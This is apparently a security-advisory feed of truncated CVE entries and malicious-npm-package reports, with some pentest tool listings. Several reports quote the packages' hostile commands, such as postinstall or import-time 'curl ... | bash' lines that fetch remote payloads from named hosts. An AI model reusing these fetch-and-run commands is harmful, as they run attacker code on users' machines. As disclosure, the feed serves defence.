CVE-2026-19006

A vulnerability was found in mf-yang openclaw-cn 2026.2.5. This affects an unknown part of the file src/agents/bash-tools.exec.ts of the component Ggateway Exec Approval Flow. The manipulation results in incorrect authorization. The attack may be performed from remote. The exploit has been made...

CVE-2026-19006: Incorrect Authorization

A vulnerability was found in mf-yang openclaw-cn 2026.2.5. This affects an unknown part of the file src/agents/bash-tools.exec.ts of the component Ggateway Exec Approval Flow. The manipulation results in incorrect authorization. The attack may be performed from remote. The exploit has been made...

Malicious code in clawtrl-wallet (npm)

Source: amazon-inspector d56c06b4b1f063e6827dc0d8e9a6e3d1b7395182c12188b4dc110b771c23386c The package's cli.js imports childprocess, https, and os, reads process.env and system information via os.tmpdir and related os APIs, spawns a bash subprocess, and issues outbound https.get requests. The...

CVE-2026-48168

PraisonAI is a multi-agent teams system. In versions prior to 4.6.40, the bundled Claude GitHub Actions workflow is vulnerable to command injection because it embeds an attacker-controlled pull request branch name into a Bash run: block without quoting or validation. Additionally, the workflow...

Malicious code in clawtrl-wallet (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d56c06b4b1f063e6827dc0d8e9a6e3d1b7395182c12188b4dc110b771c23386c The package's cli.js imports childprocess, https, and os, reads process.env and system information via os.tmpdir and related os APIs, spawns a bash...

MAL-2026-13367 Malicious code in clawtrl-wallet (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d56c06b4b1f063e6827dc0d8e9a6e3d1b7395182c12188b4dc110b771c23386c The package's cli.js imports childprocess, https, and os, reads process.env and system information via os.tmpdir and related os APIs, spawns a bash...

MAL-2026-12322 Malicious code in @mgor/fw-canary-3333 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6b82e18fdadfd37a1622c522a7ca4e9ae7772b266175123dfabb8d90e3950ef6 On require of @mgor/fw-canary-3333, index.js executes a top-level shell command that curls https://fewafw.hydege.me and pipes the response into...

Malicious code in @mgor/fw-canary-3333 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6b82e18fdadfd37a1622c522a7ca4e9ae7772b266175123dfabb8d90e3950ef6 On require of @mgor/fw-canary-3333, index.js executes a top-level shell command that curls https://fewafw.hydege.me and pipes the response into...

Exploit for Injection in Vm2_Project Vm2

Hack The Box — Codify Writeup !Difficultyhttps://img.shiel...

building_automation_system_guardian

BAS Guardian - Free Building Automation System BAS Security...

ImCurvin v1.3.0

ImCurvin' ImCurvin is an open-source web security auditing and penetration testing tool designed to automate environment misconfiguration detection, track exposed configuration blueprints, and probe backend vulnerabilities. Detailed information regarding ImCurvin can be found at...

offensive-security-labs

Offensive Security Labs A collection of hands-on offensive cy...

envocabulary v1.0.4

envocabulary For every variable in your current shell, find the file and line that set it — or which subsystem direnv, launchd, terminal, SSH, system injected it. Plus a few static-file commands for the moment your shell config has sprawled across N files and backups and you've lost the plot. I...

cmdchamp v1.2.15

cmdchamp Bash CLI trainer — 30 levels from ls to privilege escalation. Every question asks you to type a real command — get instant feedback, move on. Many run against real files in the sandbox, and all accept multiple valid syntaxes sort -u or sort | uniq. Tab toggles the manpage when you need a...

SUSE CVE-2026-45152

uniget is a universal installer and updater for container tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without...

Bash Configuration - Exposure Detection

Detected exposed bash configuration on web servers that could have contained sensitive information such as credentials, API keys, database connection strings, or internal paths. !/usr/bin/env python3 -- coding: utf-8 -- """Detected exposed bash configuration on web servers that could have contain...

Malicious code in solc-helper (npm)

Source: amazon-inspector 2016baa4fe29c296464b8381f88440457a113d79e2773d2252eb609a15ea2e03 package.json's postinstall lifecycle script runs node -e to base64-decode a hidden URL and pipe its contents to bash: curl -s http://8.217.75.147:3000/payload | bash. The URL is obfuscated via...

Malicious code in ethers-common (npm)

Source: amazon-inspector 9a7b953533124edcc31e4293ed6bffe010e9110d795f812ba432de8b81d4d558 package.json declares a postinstall hook that base64-decodes the URL http://8.217.75.147:3000/payload, fetches it via curl over plain HTTP, and pipes the response directly into bash. This executes...

Malicious code in prjct-cli (npm)

Source: amazon-inspector 72b60bff5e0e18ecdc993dc505651612acba538fd6c5e46c4ea69619c453f8f9 On npm install, scripts/postinstall.js invokes scripts/ensure-bun.sh, which runs curl -fsSL https://bun.sh/install | bash with no version pin and no hash/signature verification. The bin shim bin/prjct...

Malicious code in @wacrot/infra-data-kit (npm)

Source: amazon-inspector 1568dfa61d19a63f6837c4a8c9b5d728401d0f34c87ce3550af594c141a94ac1 On any require or import of @wacrot/infra-data-kit, src/index.js invokes addSupport at module top level, which spawns a detached bash -c 'curl -fsSL https://example.com/script.sh | bash' via node:childproces...